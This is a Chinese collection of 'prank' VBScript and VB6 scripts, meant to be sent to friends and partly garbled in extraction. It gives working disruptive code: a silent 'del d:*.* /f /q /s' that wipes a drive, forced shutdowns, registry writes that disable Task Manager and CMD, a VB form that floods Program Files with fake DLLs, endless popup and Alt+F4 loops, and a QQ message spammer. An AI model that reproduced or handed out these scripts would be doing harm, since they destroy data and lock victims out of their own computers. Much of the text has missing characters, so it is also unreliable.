VBS整人代码大集合--真的很全很全很强大.txt

1、vbs整人代码 代码如下： 复制代码 代码如下:Private Sub Form_Load() Me.Hide End Sub Private Sub Timer1_Timer() 声明变量，其中“count”为静态变量，以便生成不同的文件 Dim files As String Dim nr As String Dim c As String Static count As Long 定义要把生成的文件存放在那个目录文件下 c = “C:Program Files“ 生成文件的内容 nr = “哈哈，被黑的感觉的不错吧“ files = FreeFile 如果a等于a那么就执行 If a =

2、 a Then count不断的加1，以便产生不同的文件名 count = count + 1 产生文件名及文件句柄，并用count作为产生不同的文件名。 Open c & “system“ & count & “.dll“ For Append As #files 向文件写内容 Write #files, nr 清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示 Close #files End If End Sub一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.

3、vbs= 复制代码 代码如下:On Error Resume Next Dim wsh,ye set wsh=createobject(“wscript.shell“) for i=1 to 10 wscript.sleep 700 wsh.AppActivate(“与 xx 聊天中“) wsh.sendKeys “v“ wsh.sendKeys i wsh.sendKeys “%s“ next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图 的 上，好多人 那它 ，哈哈 - do msgbox “You are foolish!“ loop -

4、、打开 数个 ， 到 - set wsh=createobject(“wscript.shell“) do wsh.run “calc“ loop - 、 - dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) WSHshell.run “shutdown -f -s -t 00“,0 ,true - 、 除D: 文件 - dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) WSHshell.run “cmd /c “del d:*.*

5、 / f /q /s“,0 ,true - 、不断 - 复制代码 代码如下:while(1) msgbox “哈哈 你被 “ loop - 、不断下alt+f4 开么 - 复制代码 代码如下:dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) while(1) WSHshell.SendKeys “%F4“ loop 、500次currency1 (以上代码在“行的上fi示500个对话框。其中 do until s=500 ，500可以fl 改) 复制代码 代码如下:dim s do until s=500 s=s

6、+1 msgbox “，我500次currency1吧“,64 loop - - 、 不的 复制代码 代码如下:WScript.Echo(“，你打开我，我等你很” “&TSName) WScript.Echo(“你可的 ?“) WScript.Echo(“哈,我你，这你 不 “) WScript.Echo(“么，不不 我“) WScript.Echo(“,我生，等你这么”， 。“) WScript.Echo(“ 很生，后果很重。“) WScript.Echo(“ 你也很 “) WScript.Echo(“不清除我“) WScript.Echo(“那你要 上50下，不 你 “) WScript.

7、Echo(“ 49下， “) WScript.Echo(“ 48下， ， “) WScript.Echo(“ 47下对，就这 “) WScript.Echo(“ 46下。你 就 ，要 ，我 不打扰你 作。“) WScript.Echo(“ 45下，记 要 “) WScript.Echo(“ 43下“) WScript.Echo(“ 42下“) WScript.Echo(“ 41下“) WScript.Echo(“ 40下“) WScript.Echo(“ 39下“) WScript.Echo(“ 38下“) WScript.Echo(“ 37下“) WScript.Echo(“ 36下“) W

8、Script.Echo(“ 35下“) WScript.Echo(“ 34下“) WScript.Echo(“ 33下“) WScript.Echo(“ 32下“) WScript.Echo(“ 30下“) WScript.Echo(“ 29下“) WScript.Echo(“ 28下“) WScript.Echo(“ 27下“) WScript.Echo(“ 26下“) WScript.Echo(“ 25下“) WScript.Echo(“ 24下“) WScript.Echo(“ 23下“) WScript.Echo(“ 22下“) WScript.Echo(“ 21下“) WScript

9、.Echo(“ 20下“) WScript.Echo(“ 19下“) WScript.Echo(“ 18下“) WScript.Echo(“ 17下“) WScript.Echo(“ 16下“) WScript.Echo(“ 15下“) WScript.Echo(“ 14下“) WScript.Echo(“ 13下 ，我 话要“) WScript.Echo(“ 12下，你 我就 “) WScript.Echo(“ 11下，以后就 不到我。555555“) WScript.Echo(“ 10下，你在可以 “) WScript.Echo(“ 9下。你 ，不要我“) WScript.Echo(“ 8

10、下， ， 人“) WScript.Echo(“ 7下。 ，你 “) WScript.Echo(“ 6下。对。你就 吧，我 你 “) WScript.Echo(“ 5下，不明， 除我你就好 “) WScript.Echo(“ 4下 要 除我“) WScript.Echo(“ 3下。可我 的很 你。“) WScript.Echo(“ 2下。不要这么 ，人你的 “) WScript.Echo(“ 1下。，然你这么。也 我 义 “) WScript.Echo(“我 该 的，不 我留你 芳容，上帝又 一次 。“) WScript.Echo(“结素我么?那你就再多 一次“) WScript.Echo(“结

11、素我么?那你就再多 一次“) WScript.Echo(“结素我么?那你就再多 一次“) WScript.Echo(“结素我么?那你就再多 一次“) WScript.Echo(“结素我么?那你就再多 一次“) WScript.Echo(“结素我么?那你就再多 一次“) WScript.Echo(“结素我么?那你就再多 一次“) WScript.Echo(“结素我么?那你就再多 一次“) WScript.Echo(“结素我么?那你就再多 一次“) WScript.Echo(“结素我么?那你就再多 一次“) 两个整人的VBS脚 今天大带两个整人的VBS脚 希望大 欢 VBS脚 大 吧 第一个定时

12、的 如果把他发你的QQ好友 他不懂的话 如果不输我猪 就在你设定的 时间内 我设置的3分钟 只要输入就解除 当然如果不输的话也 解除的 我 下这个脚 复制代码 代码如下:on error resume next dim WSHshellA set WSHshellA = wscript.createobject(“wscript.shell“) WSHshellA.run “cmd.exe /c shutdown -r -t 180 -c “我猪，不我猪就一分钟 ，不信，试下“ “,0 ,true dim a do while(a “我猪“ a=inputbox(“ 在下面的框框里输入我猪,否

13、则后果自 ， 输“我猪“ “,“输不输“,“) loop call shutdown(2) msgbox “早就行 “,4096+64 msgbox“再输一遍我猪!“,4096+64 msgbox“我猪!“,4096+64 MsgBox“最后一次!“,4096+64 MsgBox“如果你很 的 去,不 的话“,4096+64 MsgBox“我就要你踩我空间的!“,4096+64 MsgBox“从前 座山!“,4096+64 MsgBox“山里 个庙.“,4096+64 MsgBox“庙里 个老和尚在讲故事.“,4096+64 ws.run“iexplore.exe http:/ msgbox“

14、哎呀累 数绵羊哄我睡觉“,4096+64 for i=1 to 100 MsgBox i&“只绵羊“,4096+64 next msgbox“哎呀我困 ，这次就饶 你吧，下次注 !“,4096+64 msgbox“最后问个问题，我不大好人 “,4096+64 if inputbox(“不“,“请“,“)0 and pipe.count=2 then s.regwrite“HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr“,0,“REG_DWORD“ s.regwrite“HKCUSoftwarePoli

15、ciesMicrosoftWindowsSystemDisableCMD“,0,“REG_DWORD“ id.terminate() else s.regwrite“HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr“,1,“REG_DWORD“ s.regwrite“HKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD“,1,“REG_DWORD“ for i=1 to 60 s.popup“系统将在“& 60-i &“秒后 .“,1,“系统提示“,4

16、096+48 next Set colOS = GetObject(“winmgmts:(Shutdown)“).ExecQuery(“Select * FROM Win32_OperatingSystem“) For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next color=#FF0000复制以上代码，在桌面建一个文 ，把代码放进去，另存为VBE格式， 此代码的威力： 1：开 就制自动 2：cmd命令打不开 3：结束任务不管用 4：F8安全模式也不管用 呵呵 听起不 恐怖 ，我在我友空间里 见也吓 一跳、 代码破解方 ：就再“

17、行一次，就可以破解 ，也就第2次保存的那个VBE文件， PS：不要乱拿软件去整人，发生么事可不要 我 。 拍拍手 顶起吧! 2： 复制代码 代码如下:on error resume next dim WSHshellA set WSHshellA = wscript.createobject(“wscript.shell“) WSHshellA.run “cmd.exe /c shutdown -r -t 60 -c “你傻B，我天下第一大傻B不宝宝，我天下第一大傻B就一分钟 你 ，不信，试试“ “,0 ,true dim a do while(a “宝宝，我天下第一大傻B“) a = inp

18、utbox (“宝宝，我天下第一大傻B,就不 ， 撒， “宝宝，我天下第一大傻B“,“不“,“不“,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,“MsgBox“ loop msgbox chr(13) + chr(13) + chr(13) + “早就行 ，乖乖“ dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) WSHshell.run “cmd.exe /c shutdown -a“,0 ,true msgbox chr(13) + chr(13) + chr(13) + “宝宝不又帅“ 这代码我从友那拿的，大可以试着 下、你 事、 整人 果代码 果，只要复制这下面的 代码保存在text文件里，修改文件后 为txt就 到 果 。 复制代码 代码如下:|L 的 见整人 果 不把 到这里 试吧。